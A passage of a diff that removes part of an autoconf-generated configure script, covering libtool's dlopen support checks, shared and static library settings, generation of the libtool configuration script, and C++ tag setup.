-$as_echo "no" >&6; }
- ;;
- esac
-fi
-
-if test "x$enable_dlopen" != xyes; then
- enable_dlopen=unknown
- enable_dlopen_self=unknown
- enable_dlopen_self_static=unknown
-else
- lt_cv_dlopen=no
- lt_cv_dlopen_libs=
-
- case $host_os in
- beos*)
- lt_cv_dlopen="load_add_on"
- lt_cv_dlopen_libs=
- lt_cv_dlopen_self=yes
- ;;
-
- mingw* | pw32*)
- lt_cv_dlopen="LoadLibrary"
- lt_cv_dlopen_libs=
- ;;
-
- cygwin*)
- lt_cv_dlopen="dlopen"
- lt_cv_dlopen_libs=
- ;;
-
- darwin*)
- # if libdl is installed we need to link against it
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dlopen in -ldl" >&5
-$as_echo_n "checking for dlopen in -ldl... " >&6; }
-if ${ac_cv_lib_dl_dlopen+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dlopen ();
-int
-main ()
-{
-return dlopen ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dl_dlopen=yes
-else
- ac_cv_lib_dl_dlopen=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dl_dlopen" >&5
-$as_echo "$ac_cv_lib_dl_dlopen" >&6; }
-if test "x$ac_cv_lib_dl_dlopen" = xyes; then :
- lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"
-else
-
- lt_cv_dlopen="dyld"
- lt_cv_dlopen_libs=
- lt_cv_dlopen_self=yes
-
-fi
-
- ;;
-
- *)
- ac_fn_c_check_func "$LINENO" "shl_load" "ac_cv_func_shl_load"
-if test "x$ac_cv_func_shl_load" = xyes; then :
- lt_cv_dlopen="shl_load"
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for shl_load in -ldld" >&5
-$as_echo_n "checking for shl_load in -ldld... " >&6; }
-if ${ac_cv_lib_dld_shl_load+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldld $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char shl_load ();
-int
-main ()
-{
-return shl_load ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dld_shl_load=yes
-else
- ac_cv_lib_dld_shl_load=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dld_shl_load" >&5
-$as_echo "$ac_cv_lib_dld_shl_load" >&6; }
-if test "x$ac_cv_lib_dld_shl_load" = xyes; then :
- lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld"
-else
- ac_fn_c_check_func "$LINENO" "dlopen" "ac_cv_func_dlopen"
-if test "x$ac_cv_func_dlopen" = xyes; then :
- lt_cv_dlopen="dlopen"
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dlopen in -ldl" >&5
-$as_echo_n "checking for dlopen in -ldl... " >&6; }
-if ${ac_cv_lib_dl_dlopen+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dlopen ();
-int
-main ()
-{
-return dlopen ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dl_dlopen=yes
-else
- ac_cv_lib_dl_dlopen=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dl_dlopen" >&5
-$as_echo "$ac_cv_lib_dl_dlopen" >&6; }
-if test "x$ac_cv_lib_dl_dlopen" = xyes; then :
- lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dlopen in -lsvld" >&5
-$as_echo_n "checking for dlopen in -lsvld... " >&6; }
-if ${ac_cv_lib_svld_dlopen+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lsvld $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dlopen ();
-int
-main ()
-{
-return dlopen ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_svld_dlopen=yes
-else
- ac_cv_lib_svld_dlopen=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_svld_dlopen" >&5
-$as_echo "$ac_cv_lib_svld_dlopen" >&6; }
-if test "x$ac_cv_lib_svld_dlopen" = xyes; then :
- lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld"
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dld_link in -ldld" >&5
-$as_echo_n "checking for dld_link in -ldld... " >&6; }
-if ${ac_cv_lib_dld_dld_link+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
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-/* end confdefs.h. */
-
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-int
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-{
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- ;
- return 0;
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-_ACEOF
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- ac_cv_lib_dld_dld_link=yes
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- ac_cv_lib_dld_dld_link=no
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-rm -f core conftest.err conftest.$ac_objext \
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-LIBS=$ac_check_lib_save_LIBS
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dld_dld_link" >&5
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-
-
-fi
-
-
-fi
-
-
-fi
-
-
-fi
-
-
-fi
-
- ;;
- esac
-
- if test "x$lt_cv_dlopen" != xno; then
- enable_dlopen=yes
- else
- enable_dlopen=no
- fi
-
- case $lt_cv_dlopen in
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- save_CPPFLAGS="$CPPFLAGS"
- test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H"
-
- save_LDFLAGS="$LDFLAGS"
- wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\"
-
- save_LIBS="$LIBS"
- LIBS="$lt_cv_dlopen_libs $LIBS"
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether a program can dlopen itself" >&5
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- if test "$cross_compiling" = yes; then :
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-else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<EOF
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-# define LT_DLGLOBAL DL_GLOBAL
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-
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-# ifdef RTLD_LAZY
-# define LT_DLLAZY_OR_NOW RTLD_LAZY
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-# ifdef DL_LAZY
-# define LT_DLLAZY_OR_NOW DL_LAZY
-# else
-# ifdef RTLD_NOW
-# define LT_DLLAZY_OR_NOW RTLD_NOW
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- lt_status=$?
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- x$lt_dlneed_uscore) lt_cv_dlopen_self=yes ;;
- x$lt_dlunknown|x*) lt_cv_dlopen_self=no ;;
- esac
- else :
- # compilation failed
- lt_cv_dlopen_self=no
- fi
-fi
-rm -fr conftest*
-
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_dlopen_self" >&5
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- if test "x$lt_cv_dlopen_self" = xyes; then
- wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $lt_prog_compiler_static\"
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether a statically linked program can dlopen itself" >&5
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-if ${lt_cv_dlopen_self_static+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- lt_cv_dlopen_self_static=cross
-else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<EOF
-#line __oline__ "configure"
-#include "confdefs.h"
-
-#if HAVE_DLFCN_H
-#include <dlfcn.h>
-#endif
-
-#include <stdio.h>
-
-#ifdef RTLD_GLOBAL
-# define LT_DLGLOBAL RTLD_GLOBAL
-#else
-# ifdef DL_GLOBAL
-# define LT_DLGLOBAL DL_GLOBAL
-# else
-# define LT_DLGLOBAL 0
-# endif
-#endif
-
-/* We may have to define LT_DLLAZY_OR_NOW in the command line if we
- find out it does not work in some platform. */
-#ifndef LT_DLLAZY_OR_NOW
-# ifdef RTLD_LAZY
-# define LT_DLLAZY_OR_NOW RTLD_LAZY
-# else
-# ifdef DL_LAZY
-# define LT_DLLAZY_OR_NOW DL_LAZY
-# else
-# ifdef RTLD_NOW
-# define LT_DLLAZY_OR_NOW RTLD_NOW
-# else
-# ifdef DL_NOW
-# define LT_DLLAZY_OR_NOW DL_NOW
-# else
-# define LT_DLLAZY_OR_NOW 0
-# endif
-# endif
-# endif
-# endif
-#endif
-
-#ifdef __cplusplus
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-#endif
-
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-{
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
- int status = $lt_dlunknown;
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- if (self)
- {
- if (dlsym (self,"fnord")) status = $lt_dlno_uscore;
- else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore;
- /* dlclose (self); */
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- else
- puts (dlerror ());
-
- exit (status);
-}
-EOF
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
- (eval $ac_link) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
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- lt_status=$?
- case x$lt_status in
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- x$lt_dlneed_uscore) lt_cv_dlopen_self_static=yes ;;
- x$lt_dlunknown|x*) lt_cv_dlopen_self_static=no ;;
- esac
- else :
- # compilation failed
- lt_cv_dlopen_self_static=no
- fi
-fi
-rm -fr conftest*
-
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_dlopen_self_static" >&5
-$as_echo "$lt_cv_dlopen_self_static" >&6; }
- fi
-
- CPPFLAGS="$save_CPPFLAGS"
- LDFLAGS="$save_LDFLAGS"
- LIBS="$save_LIBS"
- ;;
- esac
-
- case $lt_cv_dlopen_self in
- yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;;
- *) enable_dlopen_self=unknown ;;
- esac
-
- case $lt_cv_dlopen_self_static in
- yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;;
- *) enable_dlopen_self_static=unknown ;;
- esac
-fi
-
-
-# Report which library types will actually be built
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if libtool supports shared libraries" >&5
-$as_echo_n "checking if libtool supports shared libraries... " >&6; }
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $can_build_shared" >&5
-$as_echo "$can_build_shared" >&6; }
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build shared libraries" >&5
-$as_echo_n "checking whether to build shared libraries... " >&6; }
-test "$can_build_shared" = "no" && enable_shared=no
-
-# On AIX, shared libraries and static libraries use the same namespace, and
-# are all built from PIC.
-case $host_os in
-aix3*)
- test "$enable_shared" = yes && enable_static=no
- if test -n "$RANLIB"; then
- archive_cmds="$archive_cmds~\$RANLIB \$lib"
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- fi
- ;;
-
-aix4* | aix5*)
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- fi
- ;;
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_shared" >&5
-$as_echo "$enable_shared" >&6; }
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build static libraries" >&5
-$as_echo_n "checking whether to build static libraries... " >&6; }
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-test "$enable_shared" = yes || enable_static=yes
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_static" >&5
-$as_echo "$enable_static" >&6; }
-
-# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
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- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- compiler \
- CC \
- LD \
- lt_prog_compiler_wl \
- lt_prog_compiler_pic \
- lt_prog_compiler_static \
- lt_prog_compiler_no_builtin_flag \
- export_dynamic_flag_spec \
- thread_safe_flag_spec \
- whole_archive_flag_spec \
- enable_shared_with_static_runtimes \
- old_archive_cmds \
- old_archive_from_new_cmds \
- predep_objects \
- postdep_objects \
- predeps \
- postdeps \
- compiler_lib_search_path \
- archive_cmds \
- archive_expsym_cmds \
- postinstall_cmds \
- postuninstall_cmds \
- old_archive_from_expsyms_cmds \
- allow_undefined_flag \
- no_undefined_flag \
- export_symbols_cmds \
- hardcode_libdir_flag_spec \
- hardcode_libdir_flag_spec_ld \
- hardcode_libdir_separator \
- hardcode_automatic \
- module_cmds \
- module_expsym_cmds \
- lt_cv_prog_compiler_c_o \
- exclude_expsyms \
- include_expsyms; do
-
- case $var in
- old_archive_cmds | \
- old_archive_from_new_cmds | \
- archive_cmds | \
- archive_expsym_cmds | \
- module_cmds | \
- module_expsym_cmds | \
- old_archive_from_expsyms_cmds | \
- export_symbols_cmds | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
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- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\$0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'`
- ;;
- esac
-
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- trap "$rm \"$cfgfile\"; exit 1" 1 2 15
- $rm -f "$cfgfile"
- { $as_echo "$as_me:${as_lineno-$LINENO}: creating $ofile" >&5
-$as_echo "$as_me: creating $ofile" >&6;}
-
- cat <<__EOF__ >> "$cfgfile"
-#! $SHELL
-
-# `$echo "$cfgfile" | sed 's%^.*/%%'` - Provide generalized library-building support services.
-# Generated automatically by $PROGRAM (GNU $PACKAGE $VERSION$TIMESTAMP)
-# NOTE: Changes made to this file will be lost: look at ltmain.sh.
-#
-# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001
-# Free Software Foundation, Inc.
-#
-# This file is part of GNU Libtool:
-# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
-#
-# As a special exception to the GNU General Public License, if you
-# distribute this file as part of a program that contains a
-# configuration script generated by Autoconf, you may include it under
-# the same distribution terms that you use for the rest of that program.
-
-# A sed program that does not truncate output.
-SED=$lt_SED
-
-# Sed that helps us avoid accidentally triggering echo(1) options like -n.
-Xsed="$SED -e 1s/^X//"
-
-# The HP-UX ksh and POSIX shell print the target directory to stdout
-# if CDPATH is set.
-(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
-
-# The names of the tagged configurations supported by this script.
-available_tags=
-
-# ### BEGIN LIBTOOL CONFIG
-
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$archive_cmds_need_lc
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
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-host=$host
-host_os=$host_os
-
-# The build system.
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-build=$build
-build_os=$build_os
-
-# An echo program that does not interpret backslashes.
-echo=$lt_echo
-
-# The archiver.
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-AR_FLAGS=$lt_AR_FLAGS
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-# A C compiler.
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-
-# LTCC compiler flags.
-LTCFLAGS=$lt_LTCFLAGS
-
-# A language-specific compiler.
-CC=$lt_compiler
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-# Is the compiler the GNU C compiler?
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-# An ERE matcher.
-EGREP=$lt_EGREP
-
-# The linker used to build libraries.
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-
-# Whether we need hard or soft links.
-LN_S=$lt_LN_S
-
-# A BSD-compatible nm program.
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-
-# A symbol stripping program
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-
-# Used to examine libraries when file_magic_cmd begins "file"
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-
-# Used on cygwin: DLL creation program.
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-
-# Used on cygwin: object dumper.
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-
-# Used on cygwin: assembler.
-AS="$AS"
-
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-# How to pass a linker flag through the compiler.
-wl=$lt_lt_prog_compiler_wl
-
-# Object file suffix (normally "o").
-objext="$ac_objext"
-
-# Old archive suffix (normally "a").
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-
-# Shared library suffix (normally ".so").
-shrext_cmds='$shrext_cmds'
-
-# Executable file suffix (normally "").
-exeext="$exeext"
-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_lt_prog_compiler_pic
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
-max_cmd_len=$lt_cv_sys_max_cmd_len
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o=$lt_lt_cv_prog_compiler_c_o
-
-# Must we lock files when doing compilation?
-need_locks=$lt_need_locks
-
-# Do we need the lib prefix for modules?
-need_lib_prefix=$need_lib_prefix
-
-# Do we need a version for libraries?
-need_version=$need_version
-
-# Whether dlopen is supported.
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-
-# Whether dlopen of programs is supported.
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-# Whether dlopen of statically linked programs is supported.
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-# Compiler flag to prevent dynamic linking.
-link_static_flag=$lt_lt_prog_compiler_static
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-# Compiler flag to turn off builtin functions.
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-
-# Compiler flag to allow reflexive dlopens.
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-# Compiler flag to generate shared objects directly from archives.
-whole_archive_flag_spec=$lt_whole_archive_flag_spec
-
-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=$lt_thread_safe_flag_spec
-
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-version_type=$version_type
-
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-libname_spec=$lt_libname_spec
-
-# List of archive names. First name is the real one, the rest are links.
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-library_names_spec=$lt_library_names_spec
-
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-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds
-archive_expsym_cmds=$lt_archive_expsym_cmds
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_module_cmds
-module_expsym_cmds=$lt_module_expsym_cmds
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
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-predep_objects=$lt_predep_objects
-
-# Dependencies to place after the objects being linked to create a
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-postdep_objects=$lt_postdep_objects
-
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-predeps=$lt_predeps
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-# Dependencies to place after the objects being linked to create a
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-postdeps=$lt_postdeps
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_compiler_lib_search_path
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-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_allow_undefined_flag
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=$lt_no_undefined_flag
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-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
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-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
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-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=$shlibpath_overrides_runpath
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=$hardcode_action
-
-# Whether we should hardcode library paths into libraries.
-hardcode_into_libs=$hardcode_into_libs
-
-# Flag to hardcode \$libdir into a binary during linking.
-# This must work even if \$libdir does not exist.
-hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec
-
-# If ld is used when linking, flag to hardcode \$libdir into
-# a binary during linking. This must work even if \$libdir does
-# not exist.
-hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=$lt_hardcode_libdir_separator
-
-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=$hardcode_direct
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=$hardcode_minus_L
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=$hardcode_shlibpath_var
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=$hardcode_automatic
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="$variables_saved_for_relink"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=$link_all_deplibs
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
-
-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$fix_srcfile_path"
-
-# Set to yes if exported symbols are required.
-always_export_symbols=$always_export_symbols
-
-# The commands to list exported symbols.
-export_symbols_cmds=$lt_export_symbols_cmds
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_exclude_expsyms
-
-# Symbols that must always be exported.
-include_expsyms=$lt_include_expsyms
-
-# ### END LIBTOOL CONFIG
-
-__EOF__
-
-
- case $host_os in
- aix3*)
- cat <<\EOF >> "$cfgfile"
-
-# AIX sometimes has problems with the GCC collect2 program. For some
-# reason, if we set the COLLECT_NAMES environment variable, the problems
-# vanish in a puff of smoke.
-if test "X${COLLECT_NAMES+set}" != Xset; then
- COLLECT_NAMES=
- export COLLECT_NAMES
-fi
-EOF
- ;;
- esac
-
- # We use sed instead of cat because bash on DJGPP gets confused if
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
- sed '$q' "$ltmain" >> "$cfgfile" || (rm -f "$cfgfile"; exit 1)
-
- mv -f "$cfgfile" "$ofile" || \
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-CC="$lt_save_CC"
-
-
-@%:@ Check whether --with-tags was given.
-if test "${with_tags+set}" = set; then :
- withval=$with_tags; tagnames="$withval"
-fi
-
-
-if test -f "$ltmain" && test -n "$tagnames"; then
- if test ! -f "${ofile}"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: output file \`$ofile' does not exist" >&5
-$as_echo "$as_me: WARNING: output file \`$ofile' does not exist" >&2;}
- fi
-
- if test -z "$LTCC"; then
- eval "`$SHELL ${ofile} --config | grep '^LTCC='`"
- if test -z "$LTCC"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: output file \`$ofile' does not look like a libtool script" >&5
-$as_echo "$as_me: WARNING: output file \`$ofile' does not look like a libtool script" >&2;}
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using \`LTCC=$LTCC', extracted from \`$ofile'" >&5
-$as_echo "$as_me: WARNING: using \`LTCC=$LTCC', extracted from \`$ofile'" >&2;}
- fi
- fi
- if test -z "$LTCFLAGS"; then
- eval "`$SHELL ${ofile} --config | grep '^LTCFLAGS='`"
- fi
-
- # Extract list of available tagged configurations in $ofile.
- # Note that this assumes the entire list is on one line.
- available_tags=`grep "^available_tags=" "${ofile}" | $SED -e 's/available_tags=\(.*$\)/\1/' -e 's/\"//g'`
-
- lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
- for tagname in $tagnames; do
- IFS="$lt_save_ifs"
- # Check whether tagname contains only valid characters
- case `$echo "X$tagname" | $Xsed -e 's:[-_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890,/]::g'` in
- "") ;;
- *) as_fn_error $? "invalid tag name: $tagname" "$LINENO" 5
- ;;
- esac
-
- if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "${ofile}" > /dev/null
- then
- as_fn_error $? "tag name \"$tagname\" already exists" "$LINENO" 5
- fi
-
- # Update the list of available tags.
- if test -n "$tagname"; then
- echo appending configuration tag \"$tagname\" to $ofile
-
- case $tagname in
- CXX)
- if test -n "$CXX" && ( test "X$CXX" != "Xno" &&
- ( (test "X$CXX" = "Xg++" && `g++ -v >/dev/null 2>&1` ) ||
- (test "X$CXX" != "Xg++"))) ; then
- ac_ext=cpp
-ac_cpp='$CXXCPP $CPPFLAGS'
-ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_cxx_compiler_gnu
-
-
-
-
-archive_cmds_need_lc_CXX=no
-allow_undefined_flag_CXX=
-always_export_symbols_CXX=no
-archive_expsym_cmds_CXX=
-export_dynamic_flag_spec_CXX=
-hardcode_direct_CXX=no
-hardcode_libdir_flag_spec_CXX=
-hardcode_libdir_flag_spec_ld_CXX=
-hardcode_libdir_separator_CXX=
-hardcode_minus_L_CXX=no
-hardcode_shlibpath_var_CXX=unsupported
-hardcode_automatic_CXX=no
-module_cmds_CXX=
-module_expsym_cmds_CXX=
-link_all_deplibs_CXX=unknown
-old_archive_cmds_CXX=$old_archive_cmds
-no_undefined_flag_CXX=
-whole_archive_flag_spec_CXX=
-enable_shared_with_static_runtimes_CXX=no
-
-# Dependencies to place before and after the object being linked:
-predep_objects_CXX=
-postdep_objects_CXX=
-predeps_CXX=
-postdeps_CXX=
-compiler_lib_search_path_CXX=
-
-# Source file extension for C++ test sources.
